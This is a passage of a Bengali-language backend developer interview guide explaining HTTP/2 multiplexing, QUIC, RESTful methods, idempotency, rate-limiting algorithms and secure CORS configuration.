  • HTTP/2 āĻāĻ•āϟāĻŋāĻŽāĻžāĻ¤ā§āϰ TCP āĻ•āĻžāύ⧇āĻ•āĻļāύ⧇āϰ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡ āĻāĻ•āϏāĻžāĻĨ⧇ āĻ…āύ⧇āĻ•āϗ⧁āϞ⧋ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻĒā§āϝāĻžāϰāĻžāϞāĻžāϞāĻŋ āĻĒāĻžāĻ āĻžāϝāĻŧ (Multiplexing) āĻāĻŦāĻ‚ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϚāĻžāχāϞ⧇ āĻĢāĻžāχāϞ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ•āϰāĻžāϰ āφāϗ⧇āχ āĻĒ⧁āĻļ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇ (Server Push)āĨ¤
  • HTTP/3 TCP-āϕ⧇ āϏāϰāĻŋāϝāĻŧ⧇ QUIC (UDP-āĻ­āĻŋāĻ¤ā§āϤāĻŋāĻ•) āύāĻŋāϝāĻŧ⧇ āφāϏ⧇āĨ¤ āĻāϤ⧇ āĻŽā§‹āĻŦāĻžāχāϞ⧇ āύ⧇āϟāĻ“āϝāĻŧāĻžāĻ°ā§āĻ• āϏ⧁āχāϚāĻŋāĻ‚ (āĻ“āϝāĻŧāĻžāχāĻĢāĻžāχ āĻĨ⧇āϕ⧇ āĻĄāĻžāϟāĻž) āĻšāϞ⧇ āĻ•āĻžāύ⧇āĻ•āĻļāύ āĻŦāĻŋāĻšā§āĻ›āĻŋāĻ¨ā§āύ āĻšāϝāĻŧ āύāĻž āĻāĻŦāĻ‚ āĻ•āĻžāύ⧇āĻ•āĻļāύ āĻ¸ā§āĻĒāĻŋāĻĄ āωāĻ˛ā§āϞ⧇āĻ–āϝ⧋āĻ—ā§āϝāĻ­āĻžāĻŦ⧇ āĻŦāĻžāĻĄāĻŧ⧇āĨ¤

🔀 What is HTTP/2 multiplexing and how does it solve head-of-line blocking?​

  • āϏāĻŽāĻ¸ā§āϝāĻž (HTTP/1.1): āĻŦā§āϰāĻžāωāϜāĻžāϰ āϝāĻĻāĻŋ āĻāĻ•āχ āĻ•āĻžāύ⧇āĻ•āĻļāύ⧇ āĻĒā§āϰāĻĨāĻŽā§‡ āĻāĻ•āϟāĻŋ ā§Ģ āĻŽā§‡āĻ—āĻžāĻŦāĻžāχāĻŸā§‡āϰ āĻ›āĻŦāĻŋ āĻāĻŦāĻ‚ āϤāĻžāϰāĻĒāϰ āĻāĻ•āϟāĻŋ āϛ⧋āĻŸā§āϟ CSS āĻĢāĻžāχāϞ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ•āϰ⧇, āϤāĻŦ⧇ āφāϗ⧇ āĻ“āχ āĻ›āĻŦāĻŋ āϏāĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻĄāĻžāωāύāϞ⧋āĻĄ āύāĻž āĻšāĻ“āϝāĻŧāĻž āĻĒāĻ°ā§āϝāĻ¨ā§āϤ CSS āĻĢāĻžāχāϞāϟāĻŋ āĻĄāĻžāωāύāϞ⧋āĻĄā§‡āϰ āĻ…āĻĒ⧇āĻ•ā§āώāĻžāϝāĻŧ āĻšā§‹āĻ˛ā§āĻĄ āĻ•āϰ⧇ āĻŦāϏ⧇ āĻĨāĻžāĻ•āϤāĨ¤ āĻāϕ⧇ āĻšā§‡āĻĄ-āĻ…āĻĢ-āϞāĻžāχāύ āĻŦā§āϞāĻ•āĻŋāĻ‚ (Head-of-Line Blocking) āĻŦāϞ⧇āĨ¤
  • āϏāĻŽāĻžāϧāĻžāύ (Multiplexing): HTTP/2 āĻĄā§‡āϟāĻžāϕ⧇ āĻŦāĻžāχāύāĻžāϰāĻŋ āĻĢā§āϰ⧇āĻŽā§‡ āĻŦāĻŋāĻ­āĻ•ā§āϤ āĻ•āϰ⧇āĨ¤ āĻĢāϞ⧇ āĻāĻ•āϟāĻŋ āĻ•āĻžāύ⧇āĻ•āĻļāύ⧇āϰ āϭ⧇āϤāϰ āĻĻāĻŋāϝāĻŧ⧇āχ āĻ›āĻŦāĻŋ āĻāĻŦāĻ‚ CSS āĻĢāĻžāχāϞāϟāĻŋāϰ āϟ⧁āĻ•āϰ⧋āϗ⧁āϞ⧋ āĻŽāĻŋāĻļā§āϰāĻŋāϤ (Interleaved) āĻ…āĻŦāĻ¸ā§āĻĨāĻžāϝāĻŧ āĻāĻ•āχ āϏāĻžāĻĨ⧇ āĻĒā§āϝāĻžāϰāĻžāϞāĻžāϞāĻŋ āĻ•ā§āϞāĻžāϝāĻŧ⧇āĻ¨ā§āĻŸā§‡ āφāϏāϤ⧇ āĻĨāĻžāϕ⧇ āĻāĻŦāĻ‚ āϕ⧋āύ⧋ āĻĢāĻžāχāϞ āĻ•āĻžāωāϕ⧇ āĻŦā§āϞāĻ• āĻ•āϰ⧇ āϰāĻžāϖ⧇ āύāĻžāĨ¤

⚡ What is QUIC and how does HTTP/3 use it?​

QUIC (Quick UDP Internet Connections) āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞāϟāĻŋ āĻŸā§āϰāĻžāĻ¨ā§āϏāĻĒā§‹āĻ°ā§āϟ āϞ⧇āϝāĻŧāĻžāϰ āĻšāĻŋāϏ⧇āĻŦ⧇ HTTP/3 āϤ⧇ āĻ•āĻžāϜ āĻ•āϰ⧇āĨ¤

  • TCP āϤ⧇ āĻĒā§āϝāĻžāϕ⧇āϟ āϞāϏ āĻšāϞ⧇ āĻĒ⧁āϰ⧋ āĻŽāĻžāĻ˛ā§āϟāĻŋāĻĒā§āϞ⧇āĻ•ā§āϏāĻĄ āĻ¸ā§āĻŸā§āϰāĻŋāĻŽāϕ⧇ āφāϟāϕ⧇ āϰ⧇āϖ⧇ āϰāĻŋāĻŸā§āϰāĻžāĻ¨ā§āϏāĻŽāĻŋāĻļāύ⧇āϰ āϜāĻ¨ā§āϝ āĻšā§‹āĻ˛ā§āĻĄ āĻ•āϰāϤ⧇ āĻšāϤ⧋āĨ¤ QUIC āϏ⧇āχ āϜāĻžāϝāĻŧāĻ—āĻžāϝāĻŧ UDP āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇āĨ¤ āĻĢāϞ⧇ āϝāĻĻāĻŋ āĻāĻ•āϟāĻŋ āĻ¸ā§āĻŸā§āϰāĻŋāĻŽā§‡ āĻĢā§āϰ⧇āĻŽ āϞāϏ āĻšāϝāĻŧ, āϤāĻŦ⧇ āĻļ⧁āϧ⧁ āϏ⧇āχ āĻ¸ā§āĻŸā§āϰāĻŋāĻŽāϟāĻŋ āĻ…āĻĒ⧇āĻ•ā§āώāĻžāϝāĻŧ āĻĨāĻžāϕ⧇, āĻŦāĻžāĻ•āĻŋ āĻ¸ā§āĻŸā§āϰāĻŋāĻŽāϗ⧁āϞ⧋āϰ āĻĄā§‡āϟāĻž āĻŸā§āϰāĻžāĻ¨ā§āϏāĻĢāĻžāϰ āϚāϞāϤ⧇ āĻĨāĻžāϕ⧇ (TCP-āϤ⧇ āĻĨāĻžāĻ•āĻž head-of-line blocking āĻĻā§‚āϰ āĻ•āϰ⧇)āĨ¤
  • āĻĒāĻžāĻļāĻžāĻĒāĻžāĻļāĻŋ, QUIC-āĻāϰ āϭ⧇āϤāϰ⧇āχ āĻŦāĻŋāĻ˛ā§āϟ-āχāύāĻ­āĻžāĻŦ⧇ TLS 1.3 āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āĻĨāĻžāϕ⧇, āϤāĻžāχ āϏāĻŋāĻ•āĻŋāωāϰāĻŋāϟāĻŋāϰ āϜāĻ¨ā§āϝ āĻāĻ•ā§āϏāĻŸā§āϰāĻž āϰāĻžāωāĻ¨ā§āĻĄ-āĻŸā§āϰāĻŋāĻĒ āϏāĻŽāϝāĻŧ āϞāĻžāϗ⧇ āύāĻžāĨ¤

đŸ› ī¸ 67. How do backend developers implement RESTful APIs using HTTP methods?​

āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āĻĄā§‡āϭ⧇āϞāĻĒāĻžāϰāϰāĻž āϏāĻžāϧāĻžāϰāĻŖāϤ HTTP āĻāϰ āĻŦāĻŋāĻ˛ā§āϟ-āχāύ āĻŽā§‡āĻĨāĻĄāϗ⧁āϞ⧋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āĻĄāĻžāϟāĻžāĻŦ⧇āϏ⧇āϰ CRUD (Create, Read, Update, Delete) āĻ…āĻĒāĻžāϰ⧇āĻļāύāϗ⧁āϞ⧋ āĻŽā§āϝāĻžāĻĒ āĻ•āϰ⧇āύ, āϝāĻžāϕ⧇ RESTful API āĻŦāϞāĻž āĻšāϝāĻŧāĨ¤

  • POST = Create (āύāϤ⧁āύ āϰāĻŋāϏ⧋āĻ°ā§āϏ āϤ⧈āϰāĻŋ āĻ•āϰāĻž)
  • GET = Read (āĻĄā§‡āϟāĻž āĻĒāĻĄāĻŧāĻž āĻŦāĻž āĻĢ⧇āϚ āĻ•āϰāĻž)
  • PUT / PATCH = Update (āĻŦāĻŋāĻĻā§āϝāĻŽāĻžāύ āĻĄā§‡āϟāĻž āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāĻž)
  • DELETE = Delete (āĻĄā§‡āϟāĻž āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž)

🔄 What is the difference between PUT and PATCH?​

  • PUT: āĻāϟāĻŋ āĻĒ⧁āϰ⧋ āϰāĻŋāϏ⧋āĻ°ā§āϏāϕ⧇ āĻŦāĻž āĻĄā§‡āϟāĻžāϕ⧇ āϰāĻŋāĻĒā§āϞ⧇āϏ (Replace) āĻŦāĻž āĻ“āĻ­āĻžāϰāϰāĻžāχāϟ āĻ•āϰ⧇ āĻĻ⧇āϝāĻŧāĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āχāωāϜāĻžāϰ āĻ…āĻŦāĻœā§‡āĻ•ā§āϟ āφāĻĒāĻĄā§‡āϟ āĻ•āϰ⧇āύ āĻāĻŦāĻ‚ āĻļ⧁āϧ⧁ āύāĻžāĻŽ āĻĒāĻžāĻ āĻžāύ, āϤāĻŦ⧇ PUT āχāωāϜāĻžāϰ⧇āϰ āĻŦāĻžāĻ•āĻŋ āĻĄāĻžāϟāĻž āĻŽā§āϛ⧇ āĻļ⧁āϧ⧁ āύāĻžāĻŽ āφāĻĒāĻĄā§‡āϟ āĻ•āϰāĻŦ⧇āĨ¤
  • PATCH: āĻāϟāĻŋ āĻĒāĻžāĻ°ā§āĻļāĻŋāϝāĻŧāĻžāϞ āĻŦāĻž āφāĻ‚āĻļāĻŋāĻ• āφāĻĒāĻĄā§‡āϟ (Partial Update) āĻ•āϰ⧇āĨ¤ āχāωāϜāĻžāϰ⧇āϰ āĻļ⧁āϧ⧁ āύāĻžāĻŽ āĻĒāĻžāĻ āĻžāϞ⧇, āĻāϟāĻŋ āύāĻžāĻŽ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧇ āĻ•āĻŋāĻ¨ā§āϤ⧁ āχāωāϜāĻžāϰ⧇āϰ āχāĻŽā§‡āχāϞ āĻŦāĻž āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āφāϗ⧇āϰ āĻĄā§‡āϟāĻž āĻ…āĻ•ā§āώāϤ āϰāĻžāĻ–āĻŦ⧇āĨ¤

🤔 What is idempotency and which HTTP methods are idempotent?​

Idempotency (āφāχāĻĄā§‡āĻŽāĻĒā§‹āĻŸā§‡āĻ¨ā§āϏāĻŋ) āĻšāϞ⧋ āĻāĻŽāύ āĻāĻ•āϟāĻŋ āĻŦ⧈āĻļāĻŋāĻˇā§āĻŸā§āϝ āϝ⧇āĻ–āĻžāύ⧇ āφāĻĒāύāĻŋ āĻāĻ•āχ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻāĻ•āĻŦāĻžāϰ āĻ•āϰ⧁āύ āĻŦāĻž āĻ•āϝāĻŧ⧇āĻ• āĻļāϤāĻŦāĻžāϰ āĻ•āϰ⧁āύ, āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻĄāĻžāϟāĻžāϰ āĻ¸ā§āĻŸā§āϝāĻžāϟāĻžāϏ āĻŦāĻž āĻĒāϰāĻŋāĻŖāϤāĻŋ āϏāĻ°ā§āĻŦāĻĻāĻž āĻāĻ•āχ āϰāĻ•āĻŽ āĻĨāĻžāĻ•āĻŦ⧇āĨ¤

  • Idempotent Methods: GET, PUT, DELETE, HEAD, OPTIONS (āĻāĻ•āϟāĻŋ āϜāĻŋāύāĻŋāϏ ā§§ā§Ļ āĻŦāĻžāϰ āĻĄāĻŋāϞāĻŋāϟ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻĻāĻŋāϞ⧇āĻ“ āϏ⧇āϟāĻŋ āĻĄāĻŋāϞāĻŋāϟāχ āĻĨāĻžāĻ•āĻŦ⧇, āύāϤ⧁āύ āĻ•āϰ⧇ āĻ•āĻŋāϛ⧁ āĻšāĻŦ⧇ āύāĻž)āĨ¤
  • Non-Idempotent Methods: POST, PATCH (āφāĻĒāύāĻŋ ā§§ā§Ļ āĻŦāĻžāϰ POST āĻ•āϰāϞ⧇ āĻĄāĻžāϟāĻžāĻŦ⧇āϏ⧇ ā§§ā§ĻāϟāĻŋ āύāϤ⧁āύ āϏāĻžāϰāĻŋ āϤ⧈āϰāĻŋ āĻšāĻŦ⧇; PATCH-āĻ“ āύāĻŋāĻ°ā§āĻ­āϰ āĻ•āϰ⧇ implementation-āĻāϰ āĻ“āĻĒāϰ)āĨ¤

đŸšĻ 68. What is the role of rate limiting in HTTP-based APIs, and how is it implemented?​

Rate Limiting āĻšāϞ⧋ āϕ⧋āύ⧋ āχāωāϜāĻžāϰ āĻŦāĻž āφāχāĻĒāĻŋāϕ⧇ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āϏāĻŽāϝāĻŧ⧇āϰ āĻŽāĻ§ā§āϝ⧇ āĻāĻ•āϟāĻŋ āϞāĻŋāĻŽāĻŋāĻŸā§‡āϰ āĻŦ⧇āĻļāĻŋ API āĻ•āϞ āĻ•āϰāϤ⧇ āύāĻž āĻĻ⧇āĻ“āϝāĻŧāĻž (āϝ⧇āĻŽāύ: āĻŽāĻŋāύāĻŋāĻŸā§‡ ā§§ā§Ļā§Ļ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ)āĨ¤ āĻāϟāĻŋ āϏāĻžāĻ°ā§āĻ­āĻžāϰāϕ⧇ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻŋāĻ‚, āĻŦā§āϰ⧁āϟ-āĻĢā§‹āĻ°ā§āϏ āĻ…ā§āϝāĻžāϟāĻžāĻ•, āĻāĻŦāĻ‚ DDoS āφāĻ•ā§āϰāĻŽāĻŖ āĻĨ⧇āϕ⧇ āϰāĻ•ā§āώāĻž āĻ•āϰ⧇ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻĒāĻžāϰāĻĢāϰāĻŽā§āϝāĻžāĻ¨ā§āϏ āĻ¸ā§āĻŦāĻžāĻ­āĻžāĻŦāĻŋāĻ• āϰāĻžāϖ⧇āĨ¤

🧮 What are common rate limiting algorithms (token bucket, leaky bucket, sliding window)?​

  • Token Bucket: āĻĒā§āϰāϤāĻŋāϟāĻŋ āχāωāϜāĻžāϰ⧇āϰ āĻŦāĻžāϞāϤāĻŋāϤ⧇ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āϏāĻ‚āĻ–ā§āϝāĻ• āĻŸā§‹āϕ⧇āύ āĻĨāĻžāϕ⧇āĨ¤ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻāϞ⧇ āĻŸā§‹āϕ⧇āύ āĻŽāĻžāχāύāĻžāϏ āĻšāϝāĻŧāĨ¤ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āϏāĻŽāϝāĻŧ āĻĒāϰ āφāĻŦāĻžāϰ āĻĢ⧁āϞ āĻŸā§‹āϕ⧇āύ āϰāĻŋāĻĢāĻŋāϞ āĻšāϝāĻŧāĨ¤
  • Leaky Bucket: āĻŦāĻžāϞāϤāĻŋāϰ āύāĻŋāĻšā§‡ āĻāĻ•āϟāĻŋ āĻ›āĻŋāĻĻā§āϰ āĻĨāĻžāϕ⧇ āϝ⧇āĻ–āĻžāύ āĻĻāĻŋāϝāĻŧ⧇ āĻĢāĻŋāĻ•ā§āϏāĻĄ āϰ⧇āĻŸā§‡ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟāϗ⧁āϞ⧋ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āĻĄā§āϰāĻĒ āĻšāϝāĻŧ (āϝ⧇āĻŽāύ āĻĒā§āϰāϤāĻŋ āϏ⧇āϕ⧇āĻ¨ā§āĻĄā§‡ ⧍āϟāĻŋ)āĨ¤ āχāωāϜāĻžāϰ āĻ…āϤāĻŋāϰāĻŋāĻ•ā§āϤ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ•āϰāϞ⧇ āĻŦāĻžāϞāϤāĻŋ āωāĻĒāĻšā§‡ āĻĒāĻĄāĻŧ⧇ (Discard) āϝāĻžāϝāĻŧāĨ¤ āĻāϟāĻŋ āĻŸā§āϰāĻžāĻĢāĻŋāĻ•āϕ⧇ āϖ⧁āĻŦ āĻ¸ā§āĻŽā§āĻĨ āϰāĻžāϖ⧇āĨ¤
  • Sliding Window: āĻāϟāĻŋ āĻĢāĻŋāĻ•ā§āϏāĻĄ āωāχāĻ¨ā§āĻĄā§‹āϰ (āϝ⧇āĻŽāύ ⧧⧍:ā§Ļā§Ļ āĻĨ⧇āϕ⧇ ⧧⧍:ā§Ļā§§) āϏ⧀āĻŽāĻžāĻŦāĻĻā§āϧāϤāĻž āĻ•āĻžāϟāĻŋāϝāĻŧ⧇ āĻāĻ•āϟāĻŋ āϚāϞāĻŽāĻžāύ āϏāĻŽāϝāĻŧ⧇āϰ āĻĢā§āϰ⧇āĻŽ (āϝ⧇āĻŽāύ āĻ—āϤ ā§Ŧā§Ļ āϏ⧇āϕ⧇āĻ¨ā§āĻĄā§‡) āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ•āĻžāωāĻ¨ā§āϟ āĻ•āϰ⧇, āĻĢāϞ⧇ āϕ⧋āύ⧋āϰāĻ•āĻŽ āϏāĻžāĻĄā§‡āύ āĻ¸ā§āĻĒāĻžāχāĻ• āĻĨāĻžāϕ⧇ āύāĻžāĨ¤

🌐 How do you implement distributed rate limiting across multiple API servers?​

āϝāĻĻāĻŋ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄā§‡ āĻāĻ•āĻžāϧāĻŋāĻ• āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻŦāĻž āĻŽāĻžāχāĻ•ā§āϰ⧋āϏāĻžāĻ°ā§āĻ­āĻŋāϏ (load balanced) āĻĨāĻžāϕ⧇, āϤāĻŦ⧇ āϞ⧋āĻ•āĻžāϞ āĻŽā§‡āĻŽā§‹āϰāĻŋ āĻĻāĻŋāϝāĻŧ⧇ āϰ⧇āϟ āϞāĻŋāĻŽāĻŋāϟ āĻ•āϰāϞ⧇ āĻ•āĻžāϜ āĻšāĻŦ⧇ āύāĻžāĨ¤

  • āϏāĻŽāĻžāϧāĻžāύ: āϏāĻŽāĻ¸ā§āϤ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻāĻ•āϟāĻŋ āϏ⧇āĻ¨ā§āĻŸā§āϰāĻžāϞ āĻĄā§‡āϟāĻžāĻŦ⧇āϏ āĻŦāĻž āχāύ-āĻŽā§‡āĻŽāϰāĻŋ āĻ•ā§āϝāĻžāĻļāĻŋāĻ‚ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ (āϝ⧇āĻŽāύ Redis) āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ•āĻžāωāĻ¨ā§āϟ āĻ•āϰ⧇āĨ¤ āϝāĻ–āύ āχāωāϜāĻžāϰ A āϏāĻžāĻ°ā§āĻ­āĻžāϰ-ā§§ āĻ āĻšāĻŋāϟ āĻ•āϰ⧇, Redis āĻ āĻ•āĻžāωāĻ¨ā§āϟ āĻŦāĻžāĻĄāĻŧ⧇, āφāĻŦāĻžāϰ āϏāĻžāĻ°ā§āĻ­āĻžāϰ-⧍ āĻ āĻšāĻŋāϟ āĻ•āϰāϞ⧇āĻ“ Redis āĻĨ⧇āϕ⧇āχ āĻšā§‡āĻ• āĻšāϝāĻŧāĨ¤

🌍 69. How do backend developers handle CORS (Cross-Origin Resource Sharing) in web applications?​

āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇ āĻāĻ•āϟāĻŋ āĻŦāĻŋāĻ˛ā§āϟ-āχāύ āϏāĻŋāĻ•āĻŋāωāϰāĻŋāϟāĻŋ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āφāϛ⧇ āϝāĻžāϕ⧇ āĻŦāϞāĻž āĻšāϝāĻŧ Same-Origin Policy (SOP)āĨ¤ āĻāϟāĻŋ āĻāĻ•āϟāĻŋ āĻĄā§‹āĻŽā§‡āχāύāϕ⧇ (āϝ⧇āĻŽāύ frontend.com) āĻ…āĻ¨ā§āϝ āϕ⧋āύ⧋ āĻĄā§‹āĻŽā§‡āχāύ⧇āϰ (āϝ⧇āĻŽāύ api.com) āĻĄāĻžāϟāĻž āĻāĻ•ā§āϏ⧇āϏ āĻ•āϰāϤ⧇ āĻĻ⧇āϝāĻŧ āύāĻžāĨ¤

  • āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āĻĄā§‡āϭ⧇āϞāĻĒāĻžāϰāϰāĻž āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϰ⧇āϏāĻĒāĻ¨ā§āϏ⧇ CORS Headers āϝ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āĻŦā§āϰāĻžāωāϜāĻžāϰāϕ⧇ āϜāĻžāύāĻžāύ āϝ⧇ "āφāĻŽāĻŋ āύāĻŋāϰāĻžāĻĒāĻĻ, āϤ⧁āĻŽāĻŋ āĻ…āĻŽā§āĻ• āĻĄā§‹āĻŽā§‡āχāύāϕ⧇ āφāĻŽāĻžāϰ āĻĄāĻžāϟāĻž āĻāĻ•ā§āϏ⧇āϏ āĻ•āϰāϤ⧇ āĻĻāĻžāĻ“"āĨ¤

âœˆī¸ What is a CORS preflight request and when is it triggered?​

Preflight Request āĻšāϞ⧋ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇āϰ āĻĒāĻžāĻ āĻžāύ⧋ āĻāĻ•āϟāĻŋ āĻĄāĻžāĻŽāĻŋ āĻŦāĻž āĻšā§‡āĻ• āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟāĨ¤

  • āϝāĻ–āύāχ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻĻ⧇āϖ⧇ āϝ⧇ āĻŽā§‚āϞ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟāϟāĻŋ āϕ⧋āύ⧋ āϏāĻŋāĻŽā§āĻĒāϞ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āύāϝāĻŧ (āϝ⧇āĻŽāύ PUT, DELETE āĻŽā§‡āĻĨāĻĄ, āĻ…āĻĨāĻŦāĻž āĻ•āĻžāĻ¸ā§āϟāĻŽ āĻšā§‡āĻĄāĻžāϰ āĻŦāĻž āĻŦāĻĄāĻŋāϤ⧇ JSON āĻĒāĻžāĻ āĻžāύ⧋ āĻšāĻšā§āϛ⧇), āϤāĻ–āύ āĻŽā§‚āϞ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟāϟāĻŋ āĻĒāĻžāĻ āĻžāύ⧋āϰ āφāϗ⧇ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻ…āĻŸā§‹āĻŽā§‡āϟāĻŋāĻ• āĻāĻ•āϟāĻŋ OPTIONS āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āĻĒāĻžāĻ āĻžāϝāĻŧāĨ¤
  • āĻāϟāĻŋ āĻŽā§‚āϞāϤ āϏāĻžāĻ°ā§āĻ­āĻžāϰāϕ⧇ āϜāĻŋāĻœā§āĻžā§‡āϏ āĻ•āϰ⧇, "āφāĻŽāĻŋ āĻ•āĻŋ āĻāχ āϧāϰāύ⧇āϰ āĻĄā§‡āϟāĻž āĻ…āĻŽā§āĻ• āĻŽā§‡āĻĨāĻĄ āĻĻāĻŋāϝāĻŧ⧇ āĻĒāĻžāĻ āĻžāϤ⧇ āĻĒāĻžāϰāĻŋ?" āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ…āύ⧁āĻŽāϤāĻŋ āĻĻāĻŋāϞ⧇ āϤāĻŦ⧇āχ āĻŽā§‚āϞ āĻĄā§‡āϟāĻž āĻĒāĻžāĻ āĻžāύ⧋ āĻšāϝāĻŧāĨ¤

đŸŽ¯ What is the difference between simple CORS requests and preflighted requests?​

  • Simple Requests: āϝāĻĻāĻŋ āĻŽā§‡āĻĨāĻĄ GET, POST āĻŦāĻž HEAD āĻšāϝāĻŧ āĻāĻŦāĻ‚ āĻšā§‡āĻĄāĻžāϰāϗ⧁āϞ⧋āϤ⧇ āĻļ⧁āϧ⧁ āĻŦ⧇āϏāĻŋāĻ• āϜāĻŋāύāĻŋāϏ āĻĨāĻžāϕ⧇ (āϝ⧇āĻŽāύ Content-Type: application/x-www-form-urlencoded), āϤāĻŦ⧇ āĻŦā§āϰāĻžāωāϜāĻžāϰ āϏāϰāĻžāϏāϰāĻŋ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻĒāĻžāĻ āĻŋāϝāĻŧ⧇ āĻĻ⧇āϝāĻŧāĨ¤ āϕ⧋āύ⧋ āĻĒā§āϰāĻžāĻ•-āĻšā§‡āĻ• āĻŦāĻž Preflight āĻāϰ āĻĻāϰāĻ•āĻžāϰ āĻšāϝāĻŧ āύāĻžāĨ¤
  • Preflighted Requests: āϝāĻĻāĻŋ āĻ•āĻ¨ā§āĻŸā§‡āĻ¨ā§āϟ āϟāĻžāχāĻĒ application/json āĻšāϝāĻŧ, āĻŦāĻž āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āĻŸā§‡ Authorization (āĻŸā§‹āϕ⧇āύ) āĻšā§‡āĻĄāĻžāϰ āĻĨāĻžāϕ⧇, āϤāĻŦ⧇ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻ…āĻŦāĻļā§āϝāχ āφāϗ⧇ OPTIONS āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻŦāĻž Preflight āĻĒāĻžāĻ āĻžāĻŦ⧇āĨ¤

🔒 How do you securely configure CORS headers in production?​

āĻ•āĻ–āύ⧋āχ āĻĒā§āϰ⧋āĻĄāĻžāĻ•āĻļāύ⧇ Access-Control-Allow-Origin: * āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āωāϚāĻŋāϤ āύāϝāĻŧ, āĻ•āĻžāϰāĻŖ āĻāϤ⧇ āĻŦāĻŋāĻļā§āĻŦ⧇āϰ āϝ⧇āϕ⧋āύ⧋ āϏāĻžāχāϟ āφāĻĒāύāĻžāϰ āĻāĻĒāĻŋāφāχ āĻ•āϞ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āĨ¤

  • āύāĻŋāϰāĻžāĻĒāĻĻ āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ⧇āĻļāύ:
    • Access-Control-Allow-Origin: https://mywebsite.com (āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻĢāĻŋāĻ•ā§āϏāĻĄ āĻĢā§āϰāĻ¨ā§āϟāĻāĻ¨ā§āĻĄ āĻĄā§‹āĻŽā§‡āχāύ āωāĻ˛ā§āϞ⧇āĻ– āĻ•āϰāĻž)āĨ¤
    • Access-Control-Allow-Methods: GET, POST (āĻļ⧁āϧ⧁ āĻĻāϰāĻ•āĻžāϰāĻŋ āĻŽā§‡āĻĨāĻĄāϗ⧁āϞ⧋ āĻ…ā§āϝāĻžāϞāĻžāω āĻ•āϰāĻž)āĨ¤
    • āϝāĻĻāĻŋ āχāωāϜāĻžāϰ āϕ⧁āĻ•āĻŋ āĻŦāĻž āϏ⧇āĻļāύ āĻŸā§āĻ°ā§āϝāĻžāĻ•āĻŋāĻ‚ āĻĻāϰāĻ•āĻžāϰ āĻšāϝāĻŧ, āϤāĻŦ⧇ Access-Control-Allow-Credentials: true āĻāύāĻžāĻŦāϞ āĻ•āϰāϤ⧇ āĻšāϝāĻŧāĨ¤